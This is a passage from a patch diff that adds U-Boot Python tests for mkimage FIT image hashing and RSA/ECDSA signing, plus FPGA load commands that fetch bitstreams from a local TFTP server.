+of 'images' subnodes; with signatures of 'images' subnodes; with sha1
+hashes of 'images' subnodes and signatures of 'configurations' subnodes.
+This test verifies that auto-FIT are generated as expected, in all of
+the three flavours, including check of hashes and signatures (except for
+configurations ones).
+
+The test does not run the sandbox. It only checks the host tool mkimage.
+"""
+
+import os
+import pytest
+import u_boot_utils as util
+import binascii
+from Cryptodome.Hash import SHA1
+from Cryptodome.Hash import SHA256
+from Cryptodome.PublicKey import RSA
+from Cryptodome.Signature import pkcs1_15
+
+class SignedFitHelper(object):
+ """Helper to manipulate a FIT with signed/hashed images/configs."""
+ def __init__(self, cons, file_name):
+ self.fit = file_name
+ self.cons = cons
+ self.images_nodes = set()
+ self.confgs_nodes = set()
+
+ def __fdt_list(self, path):
+ return util.run_and_log(self.cons,
+ f'fdtget -l {self.fit} {path}')
+
+ def __fdt_get_string(self, node, prop):
+ return util.run_and_log(self.cons,
+ f'fdtget -ts {self.fit} {node} {prop}')
+
+ def __fdt_get_binary(self, node, prop):
+ numbers = util.run_and_log(self.cons,
+ f'fdtget -tbi {self.fit} {node} {prop}')
+
+ bignum = bytearray()
+ for little_num in numbers.split():
+ bignum.append(int(little_num))
+
+ return bignum
+
+ def build_nodes_sets(self):
+ """Fill sets with FIT images and configurations subnodes."""
+ for node in self.__fdt_list('/images').split():
+ subnode = f'/images/{node}'
+ self.images_nodes.add(subnode)
+
+ for node in self.__fdt_list('/configurations').split():
+ subnode = f'/configurations/{node}'
+ self.confgs_nodes.add(subnode)
+
+ return len(self.images_nodes) + len(self.confgs_nodes)
+
+ def check_fit_crc32_images(self):
+ """Test that all images in the set are hashed as expected.
+
+ Each image must have an hash with algo=crc32 and hash value must match
+ the one calculated over image data.
+ """
+ for node in self.images_nodes:
+ algo = self.__fdt_get_string(f'{node}/hash', 'algo')
+ assert algo == "crc32\n", "Missing expected crc32 image hash!"
+
+ raw_crc32 = self.__fdt_get_binary(f'{node}/hash', 'value')
+ raw_bin = self.__fdt_get_binary(node, 'data')
+ assert raw_crc32 == (binascii.crc32(raw_bin) &
+ 0xffffffff).to_bytes(4, 'big'), "Wrong crc32 hash!"
+
+ def check_fit_signed_images(self, key_name, sign_algo, verifier):
+ """Test that all images in the set are signed as expected.
+
+ Each image must have a signature with: key-name-hint matching key_name
+ argument; algo matching sign_algo argument; value matching the one
+ calculated over image data using verifier argument.
+ """
+ for node in self.images_nodes:
+ hint = self.__fdt_get_string(f'{node}/signature', 'key-name-hint')
+ assert hint == key_name + "\n", "Missing expected key name hint!"
+ algo = self.__fdt_get_string(f'{node}/signature', 'algo')
+ assert algo == sign_algo + "\n", "Missing expected signature algo!"
+
+ raw_sig = self.__fdt_get_binary(f'{node}/signature', 'value')
+ raw_bin = self.__fdt_get_binary(node, 'data')
+ verifier.verify(SHA256.new(raw_bin), bytes(raw_sig))
+
+ def check_fit_signed_confgs(self, key_name, sign_algo):
+ """Test that all configs are signed, and images hashed, as expected.
+
+ Each image must have an hash with algo=sha1 and hash value must match
+ the one calculated over image data. Each configuration must have a
+ signature with key-name-hint matching key_name argument and algo
+ matching sign_algo argument.
+ TODO: configurations signature checking.
+ """
+ for node in self.images_nodes:
+ algo = self.__fdt_get_string(f'{node}/hash', 'algo')
+ assert algo == "sha1\n", "Missing expected sha1 image hash!"
+
+ raw_hash = self.__fdt_get_binary(f'{node}/hash', 'value')
+ raw_bin = self.__fdt_get_binary(node, 'data')
+ assert raw_hash == SHA1.new(raw_bin).digest(), "Wrong sha1 hash!"
+
+ for node in self.confgs_nodes:
+ hint = self.__fdt_get_string(f'{node}/signature', 'key-name-hint')
+ assert hint == key_name + "\n", "Missing expected key name hint!"
+ algo = self.__fdt_get_string(f'{node}/signature', 'algo')
+ assert algo == sign_algo + "\n", "Missing expected signature algo!"
+
+
+@pytest.mark.buildconfigspec('fit_signature')
+@pytest.mark.requiredtool('fdtget')
+def test_fit_auto_signed(u_boot_console):
+ """Test that mkimage generates auto-FIT with signatures/hashes as expected.
+
+ The mkimage tool can create auto generated (i.e. without an ITS file
+ provided as input) FIT in three different flavours: with crc32 checksums
+ of 'images' subnodes; with signatures of 'images' subnodes; with sha1
+ hashes of 'images' subnodes and signatures of 'configurations' subnodes.
+ This test verifies that auto-FIT are generated as expected, in all of
+ the three flavours, including check of hashes and signatures (except for
+ configurations ones).
+
+ The test does not run the sandbox. It only checks the host tool mkimage.
+ """
+ cons = u_boot_console
+ mkimage = cons.config.build_dir + '/tools/mkimage'
+ tempdir = os.path.join(cons.config.result_dir, 'auto_fit')
+ os.makedirs(tempdir, exist_ok=True)
+ kernel_file = f'{tempdir}/vmlinuz'
+ dt1_file = f'{tempdir}/dt-1.dtb'
+ dt2_file = f'{tempdir}/dt-2.dtb'
+ key_name = 'sign-key'
+ sign_algo = 'sha256,rsa4096'
+ key_file = f'{tempdir}/{key_name}.key'
+ fit_file = f'{tempdir}/test.fit'
+
+ # Create a fake kernel image and two dtb files with random data
+ with open(kernel_file, 'wb') as fd:
+ fd.write(os.urandom(512))
+
+ with open(dt1_file, 'wb') as fd:
+ fd.write(os.urandom(256))
+
+ with open(dt2_file, 'wb') as fd:
+ fd.write(os.urandom(256))
+
+ # Create 4096 RSA key and write to file to be read by mkimage
+ key = RSA.generate(bits=4096)
+ verifier = pkcs1_15.new(key)
+
+ with open(key_file, 'w') as fd:
+ fd.write(str(key.export_key(format='PEM').decode('ascii')))
+
+ b_args = " -d" + kernel_file + " -b" + dt1_file + " -b" + dt2_file
+ s_args = " -k" + tempdir + " -g" + key_name + " -o" + sign_algo
+
+ # 1 - Create auto FIT with images crc32 checksum, and verify it
+ util.run_and_log(cons, mkimage + ' -fauto' + b_args + " " + fit_file)
+
+ fit = SignedFitHelper(cons, fit_file)
+ if fit.build_nodes_sets() == 0:
+ raise ValueError('FIT-1 has no "/image" nor "/configuration" nodes')
+
+ fit.check_fit_crc32_images()
+
+ # 2 - Create auto FIT with signed images, and verify it
+ util.run_and_log(cons, mkimage + ' -fauto' + b_args + s_args + " " +
+ fit_file)
+
+ fit = SignedFitHelper(cons, fit_file)
+ if fit.build_nodes_sets() == 0:
+ raise ValueError('FIT-2 has no "/image" nor "/configuration" nodes')
+
+ fit.check_fit_signed_images(key_name, sign_algo, verifier)
+
+ # 3 - Create auto FIT with signed configs and hashed images, and verify it
+ util.run_and_log(cons, mkimage + ' -fauto-conf' + b_args + s_args + " " +
+ fit_file)
+
+ fit = SignedFitHelper(cons, fit_file)
+ if fit.build_nodes_sets() == 0:
+ raise ValueError('FIT-3 has no "/image" nor "/configuration" nodes')
+
+ fit.check_fit_signed_confgs(key_name, sign_algo)
diff --git a/test/py/tests/test_fit_ecdsa.py b/test/py/tests/test_fit_ecdsa.py
new file mode 100644
index 00000000000..cc6c0c4dc42
--- /dev/null
+++ b/test/py/tests/test_fit_ecdsa.py
@@ -0,0 +1,113 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2020,2021 Alexandru Gagniuc <mr.nuke.me@gmail.com>
+
+"""
+Test ECDSA signing of FIT images
+
+This test uses mkimage to sign an existing FIT image with an ECDSA key. The
+signature is then extracted, and verified against pyCryptodome.
+This test doesn't run the sandbox. It only checks the host tool 'mkimage'
+"""
+
+import os
+import pytest
+import u_boot_utils as util
+from Cryptodome.Hash import SHA256
+from Cryptodome.PublicKey import ECC
+from Cryptodome.Signature import DSS
+
+class SignableFitImage(object):
+ """ Helper to manipulate a FIT image on disk """
+ def __init__(self, cons, file_name):
+ self.fit = file_name
+ self.cons = cons
+ self.signable_nodes = set()
+
+ def __fdt_list(self, path):
+ return util.run_and_log(self.cons, f'fdtget -l {self.fit} {path}')
+
+ def __fdt_set(self, node, **prop_value):
+ for prop, value in prop_value.items():
+ util.run_and_log(self.cons, f'fdtput -ts {self.fit} {node} {prop} {value}')
+
+ def __fdt_get_binary(self, node, prop):
+ numbers = util.run_and_log(self.cons, f'fdtget -tbi {self.fit} {node} {prop}')
+
+ bignum = bytearray()
+ for little_num in numbers.split():
+ bignum.append(int(little_num))
+
+ return bignum
+
+ def find_signable_image_nodes(self):
+ for node in self.__fdt_list('/images').split():
+ image = f'/images/{node}'
+ if 'signature' in self.__fdt_list(image):
+ self.signable_nodes.add(image)
+
+ return self.signable_nodes
+
+ def change_signature_algo_to_ecdsa(self):
+ for image in self.signable_nodes:
+ self.__fdt_set(f'{image}/signature', algo='sha256,ecdsa256')
+
+ def sign(self, mkimage, key_file):
+ util.run_and_log(self.cons, [mkimage, '-F', self.fit, f'-G{key_file}'])
+
+ def check_signatures(self, key):
+ for image in self.signable_nodes:
+ raw_sig = self.__fdt_get_binary(f'{image}/signature', 'value')
+ raw_bin = self.__fdt_get_binary(image, 'data')
+
+ sha = SHA256.new(raw_bin)
+ verifier = DSS.new(key, 'fips-186-3')
+ verifier.verify(sha, bytes(raw_sig))
+
+
+@pytest.mark.buildconfigspec('fit_signature')
+@pytest.mark.requiredtool('dtc')
+@pytest.mark.requiredtool('fdtget')
+@pytest.mark.requiredtool('fdtput')
+def test_fit_ecdsa(u_boot_console):
+ """ Test that signatures generated by mkimage are legible. """
+ def generate_ecdsa_key():
+ return ECC.generate(curve='prime256v1')
+
+ def assemble_fit_image(dest_fit, its, destdir):
+ dtc_args = f'-I dts -O dtb -i {destdir}'
+ util.run_and_log(cons, [mkimage, '-D', dtc_args, '-f', its, dest_fit])
+
+ def dtc(dts):
+ dtb = dts.replace('.dts', '.dtb')
+ util.run_and_log(cons, f'dtc {datadir}/{dts} -O dtb -o {tempdir}/{dtb}')
+
+ cons = u_boot_console
+ mkimage = cons.config.build_dir + '/tools/mkimage'
+ datadir = cons.config.source_dir + '/test/py/tests/vboot/'
+ tempdir = os.path.join(cons.config.result_dir, 'ecdsa')
+ os.makedirs(tempdir, exist_ok=True)
+ key_file = f'{tempdir}/ecdsa-test-key.pem'
+ fit_file = f'{tempdir}/test.fit'
+ dtc('sandbox-kernel.dts')
+
+ key = generate_ecdsa_key()
+
+ # Create a fake kernel image -- zeroes will do just fine
+ with open(f'{tempdir}/test-kernel.bin', 'w') as fd:
+ fd.write(500 * chr(0))
+
+ # invocations of mkimage expect to read the key from disk
+ with open(key_file, 'w') as f:
+ f.write(key.export_key(format='PEM'))
+
+ assemble_fit_image(fit_file, f'{datadir}/sign-images-sha256.its', tempdir)
+
+ fit = SignableFitImage(cons, fit_file)
+ nodes = fit.find_signable_image_nodes()
+ if len(nodes) == 0:
+ raise ValueError('FIT image has no "/image" nodes with "signature"')
+
+ fit.change_signature_algo_to_ecdsa()
+ fit.sign(mkimage, key_file)
+ fit.check_signatures(key)
diff --git a/test/py/tests/test_fit_hashes.py b/test/py/tests/test_fit_hashes.py
new file mode 100644
index 00000000000..4891e77ca2d
--- /dev/null
+++ b/test/py/tests/test_fit_hashes.py
@@ -0,0 +1,114 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2021 Alexandru Gagniuc <mr.nuke.me@gmail.com>
+
+"""
+Check hashes produced by mkimage against known values
+
+This test checks the correctness of mkimage's hashes. by comparing the mkimage
+output of a fixed data block with known good hashes.
+This test doesn't run the sandbox. It only checks the host tool 'mkimage'
+"""
+
+import os
+import pytest
+import u_boot_utils as util
+
+kernel_hashes = {
+ "sha512" : "f18c1486a2c29f56360301576cdfce4dfd8e8e932d0ed8e239a1f314b8ae1d77b2a58cd7fe32e4075e69448e623ce53b0b6aa6ce5626d2c189a5beae29a68d93",
+ "sha384" : "16e28976740048485d08d793d8bf043ebc7826baf2bc15feac72825ad67530ceb3d09e0deb6932c62a5a0e9f3936baf4",
+ "sha256" : "2955c56bc1e5050c111ba6e089e0f5342bb47dedf77d87e3f429095feb98a7e5",
+ "sha1" : "652383e1a6d946953e1f65092c9435f6452c2ab7",
+ "md5" : "4879e5086e4c76128e525b5fe2af55f1",
+ "crc32" : "32eddfdf",
+ "crc16-ccitt" : "d4be"
+}
+
+class ReadonlyFitImage(object):
+ """ Helper to manipulate a FIT image on disk """
+ def __init__(self, cons, file_name):
+ self.fit = file_name
+ self.cons = cons
+ self.hashable_nodes = set()
+
+ def __fdt_list(self, path):
+ return util.run_and_log(self.cons, f'fdtget -l {self.fit} {path}')
+
+ def __fdt_get(self, node, prop):
+ val = util.run_and_log(self.cons, f'fdtget {self.fit} {node} {prop}')
+ return val.rstrip('\n')
+
+ def __fdt_get_sexadecimal(self, node, prop):
+ numbers = util.run_and_log(self.cons, f'fdtget -tbx {self.fit} {node} {prop}')
+
+ sexadecimal = ''
+ for num in numbers.rstrip('\n').split(' '):
+ sexadecimal += num.zfill(2)
+ return sexadecimal
+
+ def find_hashable_image_nodes(self):
+ for node in self.__fdt_list('/images').split():
+ # We only have known hashes for the kernel node
+ if 'kernel' not in node:
+ continue
+ self.hashable_nodes.add(f'/images/{node}')
+
+ return self.hashable_nodes
+
+ def verify_hashes(self):
+ for image in self.hashable_nodes:
+ algos = set()
+ for node in self.__fdt_list(image).split():
+ if "hash-" not in node:
+ continue
+
+ raw_hash = self.__fdt_get_sexadecimal(f'{image}/{node}', 'value')
+ algo = self.__fdt_get(f'{image}/{node}', 'algo')
+ algos.add(algo)
+
+ good_hash = kernel_hashes[algo]
+ if good_hash != raw_hash:
+ raise ValueError(f'{image} Borked hash: {algo}');
+
+ # Did we test all the hashes we set out to test?
+ missing_algos = kernel_hashes.keys() - algos
+ if (missing_algos):
+ raise ValueError(f'Missing hashes from FIT: {missing_algos}')
+
+
+@pytest.mark.buildconfigspec('hash')
+@pytest.mark.requiredtool('dtc')
+@pytest.mark.requiredtool('fdtget')
+@pytest.mark.requiredtool('fdtput')
+def test_mkimage_hashes(u_boot_console):
+ """ Test that hashes generated by mkimage are correct. """
+
+ def assemble_fit_image(dest_fit, its, destdir):
+ dtc_args = f'-I dts -O dtb -i {destdir}'
+ util.run_and_log(cons, [mkimage, '-D', dtc_args, '-f', its, dest_fit])
+
+ def dtc(dts):
+ dtb = dts.replace('.dts', '.dtb')
+ util.run_and_log(cons, f'dtc {datadir}/{dts} -O dtb -o {tempdir}/{dtb}')
+
+ cons = u_boot_console
+ mkimage = cons.config.build_dir + '/tools/mkimage'
+ datadir = cons.config.source_dir + '/test/py/tests/vboot/'
+ tempdir = os.path.join(cons.config.result_dir, 'hashes')
+ os.makedirs(tempdir, exist_ok=True)
+
+ fit_file = f'{tempdir}/test.fit'
+ dtc('sandbox-kernel.dts')
+
+ # Create a fake kernel image -- Avoid zeroes or crc16 will be zero
+ with open(f'{tempdir}/test-kernel.bin', 'w') as fd:
+ fd.write(500 * chr(0xa5))
+
+ assemble_fit_image(fit_file, f'{datadir}/hash-images.its', tempdir)
+
+ fit = ReadonlyFitImage(cons, fit_file)
+ nodes = fit.find_hashable_image_nodes()
+ if len(nodes) == 0:
+ raise ValueError('FIT image has no "/image" nodes with "hash-..."')
+
+ fit.verify_hashes()
diff --git a/test/py/tests/test_fpga.py b/test/py/tests/test_fpga.py
new file mode 100644
index 00000000000..ca7ef8ea40d
--- /dev/null
+++ b/test/py/tests/test_fpga.py
@@ -0,0 +1,565 @@
+# SPDX-License-Identifier: GPL-2.0
+#
+# Copyright (c) 2018, Xilinx Inc.
+#
+# Michal Simek
+# Siva Durga Prasad Paladugu
+
+import pytest
+import re
+import random
+import u_boot_utils
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+the network available and files to be used for testing. Without this, this test
+will be automatically skipped.
+
+For example:
+
+# True if a DHCP server is attached to the network, and should be tested.
+env__net_dhcp_server = True
+
+# A list of environment variables that should be set in order to configure a
+# static IP. In this test case we atleast need serverip for performing tftpb
+# to get required files.
+env__net_static_env_vars = [
+ ('ipaddr', '10.0.0.100'),
+ ('netmask', '255.255.255.0'),
+ ('serverip', '10.0.0.1'),
+]
+
+# Details regarding the files that may be read from a TFTP server. .
+env__fpga_secure_readable_file = {
+ 'fn': 'auth_bhdr_ppk1_bit.bin',
+ 'enckupfn': 'auth_bhdr_enc_kup_load_bit.bin',
+ 'addr': 0x1000000,
+ 'keyaddr': 0x100000,
+ 'keyfn': 'key.txt',
+}
+
+env__fpga_under_test = {
+ 'dev': 0,
+ 'addr' : 0x1000000,
+ 'bitstream_load': 'compress.bin',
+ 'bitstream_load_size': 1831960,
+ 'bitstream_loadp': 'compress_pr.bin',
+ 'bitstream_loadp_size': 423352,
+ 'bitstream_loadb': 'compress.bit',
+ 'bitstream_loadb_size': 1832086,
+ 'bitstream_loadbp': 'compress_pr.bit',
+ 'bitstream_loadbp_size': 423491,
+ 'mkimage_legacy': 'download.ub',
+ 'mkimage_legacy_size': 13321468,
+ 'mkimage_legacy_gz': 'download.gz.ub',
+ 'mkimage_legacy_gz_size': 53632,
+ 'mkimage_fit': 'download-fit.ub',
+ 'mkimage_fit_size': 13322784,
+ 'loadfs': 'mmc 0 compress.bin',
+ 'loadfs_size': 1831960,
+ 'loadfs_block_size': 0x10000,
+}
+"""
+
+import test_net
+
+def check_dev(u_boot_console):
+ f = u_boot_console.config.env.get('env__fpga_under_test', None)
+ if not f:
+ pytest.skip('No FPGA to test')
+
+ dev = f.get('dev', -1)
+ if dev < 0:
+ pytest.fail('No dev specified via env__fpga_under_test')
+
+ return dev, f
+
+def load_file_from_var(u_boot_console, name):
+ dev, f = check_dev(u_boot_console)
+
+ addr = f.get('addr', -1)
+ if addr < 0:
+ pytest.fail('No address specified via env__fpga_under_test')
+
+ test_net.test_net_dhcp(u_boot_console)
+ test_net.test_net_setup_static(u_boot_console)
+ bit = f['%s' % (name)]
+ bit_size = f['%s_size' % (name)]
+
+ expected_tftp = 'Bytes transferred = %d' % bit_size
+ output = u_boot_console.run_command('tftpboot %x %s' % (addr, bit))
+ assert expected_tftp in output
+
+ return f, dev, addr, bit, bit_size
+
+###### FPGA FAIL test ######
+expected_usage = 'fpga - loadable FPGA image support'
+
+@pytest.mark.xfail
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_fail(u_boot_console):
+ # Test non valid fpga subcommand
+ expected = 'fpga: non existing command'
+ output = u_boot_console.run_command('fpga broken 0')
+ #assert expected in output
+ assert expected_usage in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_help(u_boot_console):
+ # Just show help
+ output = u_boot_console.run_command('fpga')
+ assert expected_usage in output
+
+
+###### FPGA DUMP tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_dump(u_boot_console):
+ pytest.skip('Not implemented now')
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_dump_variable(u_boot_console):
+ # Same as above but via "fpga" variable
+ pytest.skip('Not implemented now')
+
+###### FPGA INFO tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_info_fail(u_boot_console):
+ # Maybe this can be skipped completely
+ dev, f = check_dev(u_boot_console)
+
+ # Multiple parameters to fpga info should fail
+ expected = 'fpga: more parameters passed'
+ output = u_boot_console.run_command('fpga info 0 0')
+ #assert expected in output
+ assert expected_usage in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_info_list(u_boot_console):
+ # Maybe this can be skipped completely
+ dev, f = check_dev(u_boot_console)
+
+ # Code is design in a way that if fpga dev is not passed it should
+ # return list of all fpga devices in the system
+ u_boot_console.run_command('setenv fpga')
+ output = u_boot_console.run_command('fpga info')
+ assert expected_usage not in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_info(u_boot_console):
+ dev, f = check_dev(u_boot_console)
+
+ output = u_boot_console.run_command('fpga info %x' % (dev))
+ assert expected_usage not in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_info_variable(u_boot_console):
+ dev, f = check_dev(u_boot_console)
+
+ #
+ # fpga variable is storing device number which doesn't need to be passed
+ #
+ u_boot_console.run_command('setenv fpga %x' % (dev))
+
+ output = u_boot_console.run_command('fpga info')
+ # Variable cleanup
+ u_boot_console.run_command('setenv fpga')
+ assert expected_usage not in output
+
+###### FPGA LOAD tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_load_fail(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_load')
+
+ for cmd in ['dump', 'load', 'loadb']:
+ # missing dev parameter
+ expected = 'fpga: incorrect parameters passed'
+ output = u_boot_console.run_command('fpga %s %x $filesize' % (cmd, addr))
+ #assert expected in output
+ assert expected_usage in output
+
+ # more parameters - 0 at the end
+ expected = 'fpga: more parameters passed'
+ output = u_boot_console.run_command('fpga %s %x %x $filesize 0' % (cmd, dev, addr))
+ #assert expected in output
+ assert expected_usage in output
+
+ # 0 address
+ expected = 'fpga: zero fpga_data address'
+ output = u_boot_console.run_command('fpga %s %x 0 $filesize' % (cmd, dev))
+ #assert expected in output
+ assert expected_usage in output
+
+ # 0 filesize
+ expected = 'fpga: zero size'
+ output = u_boot_console.run_command('fpga %s %x %x 0' % (cmd, dev, addr))
+ #assert expected in output
+ assert expected_usage in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_load(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_load')
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga load %x %x $filesize && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadp')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadp(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_load')
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga load %x %x $filesize && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+ # And load also partial bistream
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_loadp')
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadp %x %x $filesize && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadb(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_loadb')
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadb %x %x $filesize && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadbp')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadbp(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_loadb')
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadb %x %x $filesize && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+ # And load also partial bistream in bit format
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_loadbp')
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadbp %x %x $filesize && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+###### FPGA LOADMK tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_fail(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+ u_boot_console.run_command('imi %x' % (addr))
+
+ # load image but pass incorrect address to show error message
+ expected = 'Unknown image type'
+ output = u_boot_console.run_command('fpga loadmk %x %x' % (dev, addr + 0x10))
+ assert expected in output
+
+ # Pass more parameters then command expects - 0 at the end
+ output = u_boot_console.run_command('fpga loadmk %x %x 0' % (dev, addr))
+ #assert expected in output
+ assert expected_usage in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_legacy(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+ u_boot_console.run_command('imi %x' % (addr))
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk %x %x && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+@pytest.mark.xfail
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_legacy_variable_fpga(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+ u_boot_console.run_command('imi %x' % (addr))
+
+ u_boot_console.run_command('setenv fpga %x' % (dev))
+
+ # this testcase should cover case which looks like it is supported but dev pointer is broken by loading mkimage address
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk %x && echo %s' % (addr, expected_text))
+ u_boot_console.run_command('setenv fpga')
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_legacy_variable_fpgadata(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+ u_boot_console.run_command('imi %x' % (addr))
+
+ u_boot_console.run_command('setenv fpgadata %x' % (addr))
+
+ # this testcase should cover case which looks like it is supported but dev pointer is broken by loading mkimage address
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk %x && echo %s' % (dev, expected_text))
+ u_boot_console.run_command('setenv fpgadata')
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_legacy_variable(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+ u_boot_console.run_command('imi %x' % (addr))
+
+ u_boot_console.run_command('setenv fpga %x' % (dev))
+ u_boot_console.run_command('setenv fpgadata %x' % (addr))
+
+ # this testcase should cover case which looks like it is supported but dev pointer is broken by loading mkimage address
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk && echo %s' % (expected_text))
+ u_boot_console.run_command('setenv fpga')
+ u_boot_console.run_command('setenv fpgadata')
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+@pytest.mark.buildconfigspec('gzip')
+def test_fpga_loadmk_legacy_gz(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy_gz')
+
+ u_boot_console.run_command('imi %x' % (addr))
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk %x %x && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit_external(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit_external')
+
+ u_boot_console.run_command('imi %x' % (addr))
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk %x %x:fpga && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit')
+
+ u_boot_console.run_command('imi %x' % (addr))
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk %x %x:fpga && echo %s' % (dev, addr, expected_text))
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit_variable_fpga(u_boot_console):
+ f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit')
+
+ u_boot_console.run_command('imi %x' % (addr))
+ # FIXME this should fail - broken support in past
+ u_boot_console.run_command('setenv fpga %x' % (dev))
+
+ expected_text = 'FPGA loaded successfully'
+ output = u_boot_console.run_command('fpga loadmk %x:fpga && echo %s' % (addr, expected_text))
+ u_boot_console.run_command('setenv fpga')
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit_variable_fpgadata(u_boot_console):
